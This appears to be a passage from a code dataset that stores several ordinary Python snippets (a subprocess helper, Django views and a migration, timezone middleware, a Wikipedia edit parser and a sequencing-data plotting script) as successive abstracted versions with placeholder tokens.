"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef _get_output(arguments, timeout=None):\n \"\"\"Collect output from the subprocess without blocking the main process if\n subprocess hangs.\n \"\"\"\n output_timeout = 0.1\n pidq = Queue()\n outputq = Queue()\n t = Thread(target=_queue_output, args=(arguments, pidq, outputq))\n t.daemon = True\n t.start()\n try:\n pid = pidq.get(timeout=timeout)\n except Empty:\n pid = None\n if pid is None:\n return _retrieve_output(t, output_timeout, outputq, 'Program to start')\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program thread to join')\n for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL):\n try:\n os.kill(pid, signal.SIGABRT)\n except OSError as e:\n if e.errno != 3:\n raise\n state = wait_process(pid, timeout)\n if state:\n return _retrieve_output(t, output_timeout, outputq,\n 'Program to die')\n raise OSError(\"Program stopped responding and couldn't be killed\")\n\n\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n",
"<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n"
] | false |
9,916 |
87a4fcb26464925952dde57fecf4709f01e9fed7
|
from django.contrib.auth.mixins import LoginRequiredMixin
from django.http import JsonResponse
from django.views.generic import CreateView, UpdateView, ListView, \
DeleteView, TemplateView
from example.forms import EditorTextForm
from example.models import EdidorText
class AjaxableResponseMixin:
"""
Mixin to add AJAX support to a form.
Must be used with an object-based FormView (e.g. CreateView)
"""
def form_invalid(self, form):
response = super().form_invalid(form)
if self.request.is_ajax():
return JsonResponse(form.errors, status=400)
else:
return response
def form_valid(self, form):
# We make sure to call the parent's form_valid() method because
# it might do some processing (in the case of CreateView, it will
# call form.save() for example).
response = super().form_valid(form)
if self.request.is_ajax():
data = {
'pk': self.object.pk,
}
return JsonResponse(data)
else:
return response
class EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):
form_class = EditorTextForm
model = EditorText
def get_context_data(self, **kwargs):
context = super().get_context_data(**kwargs)
context['recent_texts'] = EditorText.objects.filter(
created_by=self.request.user
)[:5]
return context
def get_object(self):
pk = self.request.POST.get('pk')
if not pk:
return None
return EdidorText.objects.get(pk=int(pk))
def form_valid(self, form):
form.instance.created_by = self.request.user
return super().form_valid(form)
def get_form_kwargs(self):
"""Return the keyword arguments for instantiating the form."""
self.object = self.get_object()
kwargs = super().get_form_kwargs()
return kwargs
|
[
"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse\nfrom django.views.generic import CreateView, UpdateView, ListView, \\\n DeleteView, TemplateView\n\nfrom example.forms import EditorTextForm\nfrom example.models import EdidorText\n\n\nclass AjaxableResponseMixin:\n \"\"\"\n Mixin to add AJAX support to a form.\n\n Must be used with an object-based FormView (e.g. CreateView)\n \"\"\"\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n # We make sure to call the parent's form_valid() method because\n # it might do some processing (in the case of CreateView, it will\n # call form.save() for example).\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {\n 'pk': self.object.pk,\n }\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(\n created_by=self.request.user\n )[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import JsonResponse\nfrom django.views.generic import CreateView, UpdateView, ListView, DeleteView, TemplateView\nfrom example.forms import EditorTextForm\nfrom example.models import EdidorText\n\n\nclass AjaxableResponseMixin:\n \"\"\"\n Mixin to add AJAX support to a form.\n\n Must be used with an object-based FormView (e.g. CreateView)\n \"\"\"\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {'pk': self.object.pk}\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"<import token>\n\n\nclass AjaxableResponseMixin:\n \"\"\"\n Mixin to add AJAX support to a form.\n\n Must be used with an object-based FormView (e.g. CreateView)\n \"\"\"\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {'pk': self.object.pk}\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"<import token>\n\n\nclass AjaxableResponseMixin:\n <docstring token>\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n\n def form_valid(self, form):\n response = super().form_valid(form)\n if self.request.is_ajax():\n data = {'pk': self.object.pk}\n return JsonResponse(data)\n else:\n return response\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"<import token>\n\n\nclass AjaxableResponseMixin:\n <docstring token>\n\n def form_invalid(self, form):\n response = super().form_invalid(form)\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n return response\n <function token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"<import token>\n\n\nclass AjaxableResponseMixin:\n <docstring token>\n <function token>\n <function token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n form_class = EditorTextForm\n model = EditorText\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n\n def get_form_kwargs(self):\n \"\"\"Return the keyword arguments for instantiating the form.\"\"\"\n self.object = self.get_object()\n kwargs = super().get_form_kwargs()\n return kwargs\n",
"<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['recent_texts'] = EditorText.objects.filter(created_by=self\n .request.user)[:5]\n return context\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n <function token>\n",
"<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n <function token>\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n\n def form_valid(self, form):\n form.instance.created_by = self.request.user\n return super().form_valid(form)\n <function token>\n",
"<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n <function token>\n\n def get_object(self):\n pk = self.request.POST.get('pk')\n if not pk:\n return None\n return EdidorText.objects.get(pk=int(pk))\n <function token>\n <function token>\n",
"<import token>\n<class token>\n\n\nclass EditorHomeView(LoginRequiredMixin, AjaxableResponseMixin, CreateView):\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n<class token>\n"
] | false |
9,917 |
9555ed63b3906ec23c31839691a089aad9d96c63
|
# Generated by Django 2.1.7 on 2019-03-14 07:27
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('training_area', '0002_event'),
]
operations = [
migrations.AddField(
model_name='event',
name='athlete',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='athlete_calendar', to='training_area.Athlete'),
),
migrations.AddField(
model_name='event',
name='coach',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='coach_calendar', to='training_area.Coach'),
),
]
|
[
"# Generated by Django 2.1.7 on 2019-03-14 07:27\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('training_area', '0002_event'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='event',\n name='athlete',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='athlete_calendar', to='training_area.Athlete'),\n ),\n migrations.AddField(\n model_name='event',\n name='coach',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='coach_calendar', to='training_area.Coach'),\n ),\n ]\n",
"from django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n dependencies = [('training_area', '0002_event')]\n operations = [migrations.AddField(model_name='event', name='athlete',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.\n models.deletion.CASCADE, related_name='athlete_calendar', to=\n 'training_area.Athlete')), migrations.AddField(model_name='event',\n name='coach', field=models.ForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'coach_calendar', to='training_area.Coach'))]\n",
"<import token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('training_area', '0002_event')]\n operations = [migrations.AddField(model_name='event', name='athlete',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.\n models.deletion.CASCADE, related_name='athlete_calendar', to=\n 'training_area.Athlete')), migrations.AddField(model_name='event',\n name='coach', field=models.ForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'coach_calendar', to='training_area.Coach'))]\n",
"<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n",
"<import token>\n<class token>\n"
] | false |
9,918 |
2eddd446dc59695b185be368b359bae78a868b90
|
##Problem 10 «The number of even elements of the sequence» (Medium)
##Statement
##Determine the number of even elements in the sequence ending with the number 0.
a = True
i = 0
while a is True:
x = int(input())
if x != 0:
if x%2 == 0:
i = i+1
else:
a =False
print(i)
|
[
"\n##Problem 10 «The number of even elements of the sequence» (Medium)\n##Statement\n##Determine the number of even elements in the sequence ending with the number 0. \n\n\na = True\ni = 0\nwhile a is True:\n x = int(input())\n if x != 0:\n if x%2 == 0:\n i = i+1\n else:\n a =False\nprint(i)\n"
] | true |
9,919 |
839d4182663983a03975465d3909631bd6db1d83
|
import pytz
from django.utils import timezone
class TimezoneMiddleware(object):
""" Middleware to get user's timezone and activate timezone
if user timezone is not available default value 'UTC' is activated """
def process_request(self, request):
user = request.user
if hasattr(user, 'profile'):
user_tz = user.profile.timezone
timezone.activate(pytz.timezone(user_tz))
else:
timezone.activate(pytz.timezone('UTC'))
|
[
"import pytz\n\nfrom django.utils import timezone\n\n\nclass TimezoneMiddleware(object):\n \"\"\" Middleware to get user's timezone and activate timezone \n if user timezone is not available default value 'UTC' is activated \"\"\"\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n",
"import pytz\nfrom django.utils import timezone\n\n\nclass TimezoneMiddleware(object):\n \"\"\" Middleware to get user's timezone and activate timezone \n if user timezone is not available default value 'UTC' is activated \"\"\"\n\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n",
"<import token>\n\n\nclass TimezoneMiddleware(object):\n \"\"\" Middleware to get user's timezone and activate timezone \n if user timezone is not available default value 'UTC' is activated \"\"\"\n\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n",
"<import token>\n\n\nclass TimezoneMiddleware(object):\n <docstring token>\n\n def process_request(self, request):\n user = request.user\n if hasattr(user, 'profile'):\n user_tz = user.profile.timezone\n timezone.activate(pytz.timezone(user_tz))\n else:\n timezone.activate(pytz.timezone('UTC'))\n",
"<import token>\n\n\nclass TimezoneMiddleware(object):\n <docstring token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,920 |
f6b2169a4644f4f39bbdebd9bb9c7cc637b54f8b
|
import sys
def main():
# String to format output
format_string = "%s %s %s %s %s %s %s %s %s\n"
while True:
# Read 14 lines at a time from stdin for wikipedia dataset
edit = [sys.stdin.readline() for i in range(14)]
# Break if we've reached the end of stdin
if edit[13] == "":
break
# Parse data from revision line
revision = edit[0].split(' ')
article_id,rev_id,title,timestamp,username,user_id = 'a'+revision[1],'e'+revision[2],revision[3],revision[4],revision[5],'u'+revision[6].strip()
# Ignore anonymous edits
if user_id.startswith('uip'):
continue
# Parse article category
category_line = edit[1].split(' ')
if len(category_line) != 1:
category = category_line[1].strip()
else:
category = ""
# Parse whether edit is minor and number of words edited
minor = edit[11].split(' ')[1].strip()
word_count = edit[12].split(' ')[1].strip()
# Create output line and write to stdout
outline = format_string % (article_id,rev_id,user_id,username,title,timestamp,category,minor,word_count)
sys.stdout.write(outline)
if __name__ == '__main__':
main()
|
[
"import sys\n\ndef main():\n\t# String to format output\n\tformat_string = \"%s %s %s %s %s %s %s %s %s\\n\"\n\twhile True:\n\t\t# Read 14 lines at a time from stdin for wikipedia dataset\n\t\tedit = [sys.stdin.readline() for i in range(14)]\n\t\t# Break if we've reached the end of stdin\n\t\tif edit[13] == \"\":\n\t\t\tbreak\n\t\t# Parse data from revision line\n\t\trevision = edit[0].split(' ')\n\t\tarticle_id,rev_id,title,timestamp,username,user_id = 'a'+revision[1],'e'+revision[2],revision[3],revision[4],revision[5],'u'+revision[6].strip()\n\t\t# Ignore anonymous edits\n\t\tif user_id.startswith('uip'):\n\t\t\tcontinue\n\t\t# Parse article category\n\t\tcategory_line = edit[1].split(' ')\n\t\tif len(category_line) != 1:\n\t\t\tcategory = category_line[1].strip()\n\t\telse:\n\t\t\tcategory = \"\"\n\t\t# Parse whether edit is minor and number of words edited\n\t\tminor = edit[11].split(' ')[1].strip()\n\t\tword_count = edit[12].split(' ')[1].strip()\n\t\t# Create output line and write to stdout\n\t\toutline = format_string % (article_id,rev_id,user_id,username,title,timestamp,category,minor,word_count)\n\t\tsys.stdout.write(outline)\n\nif __name__ == '__main__':\n\tmain()",
"import sys\n\n\ndef main():\n format_string = '%s %s %s %s %s %s %s %s %s\\n'\n while True:\n edit = [sys.stdin.readline() for i in range(14)]\n if edit[13] == '':\n break\n revision = edit[0].split(' ')\n article_id, rev_id, title, timestamp, username, user_id = ('a' +\n revision[1], 'e' + revision[2], revision[3], revision[4],\n revision[5], 'u' + revision[6].strip())\n if user_id.startswith('uip'):\n continue\n category_line = edit[1].split(' ')\n if len(category_line) != 1:\n category = category_line[1].strip()\n else:\n category = ''\n minor = edit[11].split(' ')[1].strip()\n word_count = edit[12].split(' ')[1].strip()\n outline = format_string % (article_id, rev_id, user_id, username,\n title, timestamp, category, minor, word_count)\n sys.stdout.write(outline)\n\n\nif __name__ == '__main__':\n main()\n",
"<import token>\n\n\ndef main():\n format_string = '%s %s %s %s %s %s %s %s %s\\n'\n while True:\n edit = [sys.stdin.readline() for i in range(14)]\n if edit[13] == '':\n break\n revision = edit[0].split(' ')\n article_id, rev_id, title, timestamp, username, user_id = ('a' +\n revision[1], 'e' + revision[2], revision[3], revision[4],\n revision[5], 'u' + revision[6].strip())\n if user_id.startswith('uip'):\n continue\n category_line = edit[1].split(' ')\n if len(category_line) != 1:\n category = category_line[1].strip()\n else:\n category = ''\n minor = edit[11].split(' ')[1].strip()\n word_count = edit[12].split(' ')[1].strip()\n outline = format_string % (article_id, rev_id, user_id, username,\n title, timestamp, category, minor, word_count)\n sys.stdout.write(outline)\n\n\nif __name__ == '__main__':\n main()\n",
"<import token>\n\n\ndef main():\n format_string = '%s %s %s %s %s %s %s %s %s\\n'\n while True:\n edit = [sys.stdin.readline() for i in range(14)]\n if edit[13] == '':\n break\n revision = edit[0].split(' ')\n article_id, rev_id, title, timestamp, username, user_id = ('a' +\n revision[1], 'e' + revision[2], revision[3], revision[4],\n revision[5], 'u' + revision[6].strip())\n if user_id.startswith('uip'):\n continue\n category_line = edit[1].split(' ')\n if len(category_line) != 1:\n category = category_line[1].strip()\n else:\n category = ''\n minor = edit[11].split(' ')[1].strip()\n word_count = edit[12].split(' ')[1].strip()\n outline = format_string % (article_id, rev_id, user_id, username,\n title, timestamp, category, minor, word_count)\n sys.stdout.write(outline)\n\n\n<code token>\n",
"<import token>\n<function token>\n<code token>\n"
] | false |
9,921 |
05f5931a53c9916f151f42910575f9c5533bfceb
|
import sys
import HTSeq
import re
import string
import glob
import os
import time
import difflib
import argparse
def parse_input():
parser = argparse.ArgumentParser(description="""
USAGE: python make_figs.py -f data_file
""")
# If the -b option is used, tRNAs with no tails are not counted.
# This speeds up the removal of duplicates for large datasets
#parser.add_option("-b", "--blanks", action="store_false", dest="includeBlankTails", default=True)
parser.add_argument("-f", "--data_file", action="store",
dest="data_file",
help="Filename of data.")
args = parser.parse_args()
return args
def write_most_common_tails(inserts, base_filename, control=False):
for exp in inserts:
with open("%s_%s" % (base_filename,
os.path.basename(exp).rstrip('.inserts').rstrip(
'.fastq')),
'w') as f:
if(not control):
lines = inserts[exp].write_table_of_most_common_tails(control)
if(control):
lines = inserts[exp].write_table_of_most_common_tails(
control, get_pvalues=True)
f.write(lines)
def parse_data_file(filename):
data = {}
print "Opening %s with file size %i..." % (
filename, os.path.getsize(filename))
with open(filename, 'r') as f:
dataset = ""
for li in f:
#print li
s = li.strip('\n').split('\t')
m = re.match(r'number tails in ([^:]+):.*', li)
if(m is not None):
dataset = m.group(1)
dataset = os.path.basename(dataset)
cur_dataset = dataset
data[dataset] = {'n_tails': s[1:]}
continue
m = re.match(r'([AGCTN]):.*', s[0])
if(m is not None):
data[dataset][m.group(1)] = s[1:]
continue
m = re.match(r'tail length:.*', li)
if(m is not None):
data[dataset]['tail_len'] = s[1:]
continue
m = re.match(r'.*Number of unique.*', li)
if(m is not None):
data[dataset]['n_unique'] = s[1:]
continue
return data
def check_data_agreement(data):
for exp in data:
max_range = min(len(data[exp]['n_tails']),
len(data[exp]['tail_len']),
len(data[exp]['n_unique']))
n_tails = 0
for index in range(1, max_range-1):
try:
n_tails += float(data[exp]['n_tails'][index])
except:
print "Error at %s, %i" % (exp, index)
print "%s: total tails=%f" % (exp, n_tails)
def write_for_R(data, src_path):
src_path = os.path.dirname(os.path.realpath(__file__))
files_for_R = list()
check_data_agreement(data)
for exp in data:
with open("%s/figs/%s.forR" % (
src_path, exp.rstrip('.fastq.inserts')
), 'w') as f:
li = "tail_len\tn_tails\tn_unique\tA\tC\tT\tG\n"
max_range = min(len(data[exp]['n_tails']),
len(data[exp]['tail_len']),
len(data[exp]['n_unique']))
for index in range(0, max_range):
li += "%s\t%s\t%s\t%s\t%s\t%s\t%s\n" % (
data[exp]['tail_len'][index],
data[exp]['n_tails'][index],
data[exp]['n_unique'][index],
data[exp]['A'][index],
data[exp]['C'][index],
data[exp]['T'][index],
data[exp]['G'][index])
f.write(li)
files_for_R.append("%s/figs/%s.forR" % (
src_path, exp.rstrip('.fastq.inserts')))
return files_for_R
def r_script_for_barplot(files_for_R, src_path):
for filename in files_for_R:
li = """
f = read.table("%s", head=T)""" % filename
li += """
bases = as.data.frame(cbind(f$A, f$C, f$T, f$G))
m = as.matrix(bases)
outfname = "%s/figs/barplot_%s.eps"
""" % (src_path, os.path.basename(filename))
li += r'''
library(RColorBrewer)
my_cols <- brewer.pal(4, "RdBu")
setEPS(width=5,height=3); postscript(outfname)
barplot(t(m), xlab = 'Tail length',
ylab = 'Percent base composition',
legend=c('A','C','T','G'), col=my_cols)
dev.off()
'''
li += """
outfname = "%s/figs/plot_%s.eps"
""" % (src_path, os.path.basename(filename))
li += r'''
library(RColorBrewer)
my_cols <- brewer.pal(4, "RdBu")
setEPS(width=5,height=10); postscript(outfname)
par(mfrow=c(3,1))
plot(f$n_tails, x=f$tail_len, type='l', xlab='Tail length',
ylab='Number of tails')
plot(f$n_unique, x=f$tail_len, type='l', xlab='Tail length',
ylab='Number of unique tails')
barplot(t(m), xlab = 'Tail length',
ylab = 'Percent base composition',
legend=c('A','C','T','G'), col=my_cols)
dev.off()
'''
with open('tmp.r', 'w') as f:
f.write(li)
cmdl = """R CMD BATCH tmp.r"""
os.system(cmdl)
def make_figs(data_filename, src_path):
print "In make_figs. Processing file %s" % data_filename
data = parse_data_file(data_filename)
if(not os.path.exists(src_path + "/figs")):
print "making %s/figs" % src_path
os.system("mkdir %s/figs" % src_path)
files_for_R = write_for_R(data, src_path)
r_script_for_barplot(files_for_R, src_path)
if __name__ == '__main__':
src_path = os.path.dirname(os.path.realpath(__file__))
args = parse_input()
data = parse_data_file(args.data_file)
if(not os.path.exists(src_path + '/figs')):
os.system('mkdir ' + src_path + '/figs')
files_for_R = write_for_R(data)
r_script_for_barplot(files_for_R)
|
[
"import sys\nimport HTSeq\nimport re\nimport string\nimport glob\nimport os\nimport time\nimport difflib\nimport argparse\n\n\ndef parse_input():\n parser = argparse.ArgumentParser(description=\"\"\"\n USAGE: python make_figs.py -f data_file\n \"\"\")\n\n # If the -b option is used, tRNAs with no tails are not counted.\n # This speeds up the removal of duplicates for large datasets\n #parser.add_option(\"-b\", \"--blanks\", action=\"store_false\", dest=\"includeBlankTails\", default=True)\n\n parser.add_argument(\"-f\", \"--data_file\", action=\"store\",\n dest=\"data_file\",\n help=\"Filename of data.\")\n args = parser.parse_args()\n return args\n\n\ndef write_most_common_tails(inserts, base_filename, control=False):\n for exp in inserts:\n with open(\"%s_%s\" % (base_filename,\n os.path.basename(exp).rstrip('.inserts').rstrip(\n '.fastq')),\n 'w') as f:\n if(not control):\n lines = inserts[exp].write_table_of_most_common_tails(control)\n if(control):\n lines = inserts[exp].write_table_of_most_common_tails(\n control, get_pvalues=True)\n f.write(lines)\n\n\ndef parse_data_file(filename):\n data = {}\n print \"Opening %s with file size %i...\" % (\n filename, os.path.getsize(filename))\n with open(filename, 'r') as f:\n dataset = \"\"\n for li in f:\n #print li\n s = li.strip('\\n').split('\\t')\n m = re.match(r'number tails in ([^:]+):.*', li)\n if(m is not None):\n dataset = m.group(1)\n dataset = os.path.basename(dataset)\n cur_dataset = dataset\n data[dataset] = {'n_tails': s[1:]}\n continue\n m = re.match(r'([AGCTN]):.*', s[0])\n if(m is not None):\n data[dataset][m.group(1)] = s[1:]\n continue\n m = re.match(r'tail length:.*', li)\n if(m is not None):\n data[dataset]['tail_len'] = s[1:]\n continue\n m = re.match(r'.*Number of unique.*', li)\n if(m is not None):\n data[dataset]['n_unique'] = s[1:]\n continue\n return data\n \n\ndef check_data_agreement(data):\n for exp in data:\n max_range = min(len(data[exp]['n_tails']),\n len(data[exp]['tail_len']),\n len(data[exp]['n_unique']))\n n_tails = 0\n for index in range(1, max_range-1):\n try:\n n_tails += float(data[exp]['n_tails'][index])\n except:\n print \"Error at %s, %i\" % (exp, index)\n print \"%s: total tails=%f\" % (exp, n_tails)\n \n\ndef write_for_R(data, src_path):\n src_path = os.path.dirname(os.path.realpath(__file__))\n files_for_R = list()\n check_data_agreement(data)\n for exp in data:\n with open(\"%s/figs/%s.forR\" % (\n src_path, exp.rstrip('.fastq.inserts')\n ), 'w') as f:\n li = \"tail_len\\tn_tails\\tn_unique\\tA\\tC\\tT\\tG\\n\"\n max_range = min(len(data[exp]['n_tails']),\n len(data[exp]['tail_len']),\n len(data[exp]['n_unique']))\n for index in range(0, max_range):\n li += \"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (\n data[exp]['tail_len'][index],\n data[exp]['n_tails'][index],\n data[exp]['n_unique'][index],\n data[exp]['A'][index],\n data[exp]['C'][index],\n data[exp]['T'][index],\n data[exp]['G'][index])\n f.write(li)\n files_for_R.append(\"%s/figs/%s.forR\" % (\n src_path, exp.rstrip('.fastq.inserts')))\n return files_for_R\n\n\ndef r_script_for_barplot(files_for_R, src_path):\n for filename in files_for_R:\n li = \"\"\"\n f = read.table(\"%s\", head=T)\"\"\" % filename\n li += \"\"\"\n bases = as.data.frame(cbind(f$A, f$C, f$T, f$G))\n m = as.matrix(bases)\n outfname = \"%s/figs/barplot_%s.eps\"\n \"\"\" % (src_path, os.path.basename(filename))\n li += r'''\n library(RColorBrewer)\n my_cols <- brewer.pal(4, \"RdBu\")\n setEPS(width=5,height=3); postscript(outfname)\n barplot(t(m), xlab = 'Tail length',\n ylab = 'Percent base composition',\n legend=c('A','C','T','G'), col=my_cols)\n dev.off()\n '''\n li += \"\"\"\n outfname = \"%s/figs/plot_%s.eps\"\n\"\"\" % (src_path, os.path.basename(filename))\n li += r'''\n library(RColorBrewer)\n my_cols <- brewer.pal(4, \"RdBu\")\n setEPS(width=5,height=10); postscript(outfname)\n par(mfrow=c(3,1))\n plot(f$n_tails, x=f$tail_len, type='l', xlab='Tail length',\n ylab='Number of tails')\n plot(f$n_unique, x=f$tail_len, type='l', xlab='Tail length',\n ylab='Number of unique 